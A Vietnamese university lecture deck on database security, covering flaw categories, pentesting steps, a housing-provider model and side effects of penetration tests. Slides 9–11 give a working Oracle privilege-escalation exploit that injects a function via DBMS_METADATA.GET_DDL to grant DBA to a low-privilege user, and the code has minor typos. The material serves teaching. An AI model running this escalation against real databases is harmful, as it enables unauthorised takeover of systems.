1. DATABASE SECURITY
Nguyễn Thanh Tùng
Khoa Khoa học & Kỹ thuật Máy tính
Đại học Bách khoa TPHCM
1 29/12/2012
2. Nội dung
Lỗ hổng bảo mật trong cơ sở dữ liệu
Pentesting
Mô hình Housing service provider
Hiệu ứng phụ trong pentesting
2 SBS 2012 29/12/2012
3. Lỗ hổng bảo mật
Lỗ hổng bảo mật (security flaw) là tập hợp những điều
kiện mà cho phép một kẻ xấu tấn công làm vi phạm
những chính sách bảo mật một cách tường minh hoặc
ngầm.
3 29/12/2012
5. Phân loại lỗ hổng bảo mật CSDL
Database security
flaws
Packages/
System security
Users/Accounts Privileges/Roles Procedures/
settings
Functions
Audit System Password Account
Roles Privileges
settings configuration policy settings
5 SBS 2012 29/12/2012
6. Nội dung
Lỗ hổng bảo mật trong cơ sở dữ liệu
Pentesting
Mô hình Housing service provider
Hiệu ứng phụ trong pentesting
6 SBS 2012 29/12/2012
7. Pentesting
Pentesting là một kỹ thuật giả lập sự tấn công nhằm
đánh giá độ bảo mật của hệ thống máy tính, mạng,
hoặc cơ sở dữ liệu.
Phân tích hệ thống một cách chủ động để tìm ra bất kỳ
điểm yếu, lỗ hổng về bảo mật.
Người đặc tả pentesting như một kẻ tấn công thật sự để
phân tích, khai thác những lỗ hổng bảo mật của hệ
thống.
Tấn công thành công chứng tỏ có lỗ hổng trong hệ
thống và ngược lại.
7 SBS 2012 29/12/2012
8. Phân loại pentesting
Information base Aggressiveness Scope Starting point
Black box Passive Full Inside
White box Cautious Limited Outside
Grey box Calculated Focused
Aggressive
8 SBS 2012 29/12/2012
9. Minh họa pentesting
Tạo user giả lập tấn công
create user NORMAL_USER identified by normaluser;
grant CREATE SESSION to NORMAL_USER;
grant CREATE PROCEDURE to NORMAL_USER;
grant EXECUTE ON
SYS.DBMS_METADATA.GET_DDL to
NORMAL_USER;
9 SBS 2012 29/12/2012
10. Minh họa pentesting
Giả lập tấn công vào database orcl bằng tài khoản giả lập vừa tạo
Connect Normal_user/normaluser@orcl;
CREATE OR REPLACE FUNCTION "NORMAL_USER"."ATTACK_FUNC"
return vachar2
authid current_user as
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO NORMAL_USER';
COMMIT;
RETURN '';
END;
/
BEGIN
SELECT SYS.DBMS_METADATA.GET_DDL('''||NORMAL_USER.ATTACKER_FUNC()||''','')
FROM dual;
END;
/
10 SBS 2012 29/12/2012
11. Minh họa pentesting
Kiểm tra việc tấn công:
connect system/adM1N27@orcl;
declare
num NUMBER;
begin
select count(*) into num from DBA_ROLE_PRIVS where granted_role = 'DBA'
and grantee = 'NORMAL_USER';
If (num > 1) Then
DBMS_OUTPUT.PUTLINE('RISK AT DBMS_METADATA.GET_DDL()');
END IF
end;
/
Khôi phục lại trạng thái ban đầu:
drop user NORMAL_USER CASCADE;
exit;
11 SBS 2012 29/12/2012
12. Các bước trong pentesting
1 • Lập kế hoạch và chuẩn bị
2 • Thu thập thông tin và phân tích
3 • Xác định các lỗ hổng
4 • Giả lập tấn công
5 • Phân tích và báo cáo
6 • Khôi phục trạng thái ban đầu
12 SBS 2012 29/12/2012
13. Các bước trong Pentesting
2. Information gathering
Developer
4. Penetration attempt
Scanning server
Client
1. Planning & Preparation
3. Vulnerability detection
Target database
6. Cleaning up
5. Analysis & Reporting
13 SBS 2012 29/12/2012
15. Nội dung
Lỗ hổng bảo mật trong cơ sở dữ liệu
Pentesting
Mô hình Housing service provider
Hiệu ứng phụ trong pentesting
15 SBS 2012 29/12/2012
16. Mô hình Housing service provider
Network
<HTTP, SOAP, SSL>
Client A’ DB Client B’ DB
Client A’s server Client B’s server
Client Housing provider
16 SBS 2012 29/12/2012
17. Nội dung
Lỗ hổng bảo mật trong cơ sở dữ liệu
Pentesting
Mô hình Housing service provider
Hiệu ứng phụ trong pentesting
17 SBS 2012 29/12/2012
18. Hiệu ứng phụ trong Pentesting
Bảo mật thông tin trong cơ sở dữ liệu liên quan đến
việc đảm bảo dữ liệu an toàn ở bốn khía cạnh sau:
Database
security
18 SBS 2012 29/12/2012
19. Tính bí mật
Information gathering
Sensitive information:
Pentester IP address, port,
Database name,…
Target database
19 SBS 2012 29/12/2012
20. Tính toàn vẹn
Pentesting
Pentester
Object A
Access
Normal users
20 SBS 2012 29/12/2012
21. Tính sẵn sàng
Pentesting
Pentester
Access Target database
Normal users
21 SBS 2012 29/12/2012
22. Tính chống thoái thác
Pentesting
Pentester
Object A
Attack
Hacker
22 SBS 2012 29/12/2012
23. Nội dung
Lỗ hổng bảo mật trong cơ sở dữ liệu
Pentesting
Mô hình Housing service provider
Hiệu ứng phụ trong pentesting
23 SBS 2012 29/12/2012
24. Tài liệu tham khảo
T.K. Dang, Q.C. Truong, P.H. Cu-Nguyen, T.Q.N. Tran, “An Extensible Framework for Detecting
Database Systems Flaws”, ACOMP, Ho Chi Minh City, Vietnam, 2007.
T.K. Dang, T.T. Nguyen, T.Q.N. Tran, Q.C. Truong.: “Security Issues in Housing Service Outsourcing
Model with Database Systems. Technical Report”, http://www.cse.hcmut.edu.vn/~asis, 2010.
T.Q.N. Tran, T.K. Dang, “Towards Side-Effects-free Database Penetration Testing”, Journal of
Wireless Mobile Networks, Ubiquitous Computing, and Dependable Applications, ISSN 2093-5374,
1(1), 72-85, June 2010.
R. B. Natan, “How to Secure and Audit Oracle 10g, 11g”, Auerbach Publications, 2009.
D. Knox, “Effective Oracle Database 10g Security by Design”, Oracle Press, 2004.
L. David, A. Chris, H. John, G. Bill,
“The Database Hacker’s Handbook: Defending Database Servers”, Wiley Publishing, 2005.
J.P. McDermot: “Attack Net Penetration Testing”. Proceedings of the workshop on new security
paradigms 2000
O. M. Dahl, “Using Coloured Petri Nets in Penetration Testing”, Master’s thesis, Gjovik University
College, 2005
S. Noel, L. Wang, A. Singhal, S. Jajodia, “Measuring Security Risk of Networks Using Attack
Graphs”, International Journal of Next-Generation Computing, Vol. 1, No. 1, 135-147, 2010
24 SBS 2012 29/12/2012